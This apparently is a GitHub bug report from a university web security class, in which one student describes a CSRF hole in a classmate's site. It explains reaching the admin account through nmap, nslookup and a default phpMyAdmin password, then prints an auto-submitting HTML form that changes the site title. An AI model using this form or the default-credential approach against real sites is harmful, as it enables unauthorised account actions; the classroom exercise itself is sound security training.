Taiwan-Tech-WebSec / Bug-Report

4 stars 0 forks source link

B10830027之漏洞回報 #61

Open M11115015 opened 2 years ago

M11115015 commented 2 years ago

攻擊者學號:B10704118 @B10704118

被攻擊者學號與網址:B10830027 @mandy900619 https://demo.mandy.social/

漏洞類型:CSRF(admin)

漏洞描述: 登入帳號:test 密碼:test(使用nmap找出sql的port,再用nslookup找ip,phpmyadmin密碼用老師上課預設的,因此找到這組id=1的帳密),登入後可進入管理頁面,經構造html後此帳號在登入狀態下點擊html就能自動修改標題 如圖: b2

Poc: construct a html:


<form method="post"  action="https://demo.mandy.social/admin.inc.php"  >
    <input id="title" type="text" name="title" placeholder="輸入標題..." value="csrf_hack" >
    <br>
    <button type="submit" name="submit" id="csrf-btn">送出</button> 
</form>

<script>document.getElementById("csrf-btn").click();</script>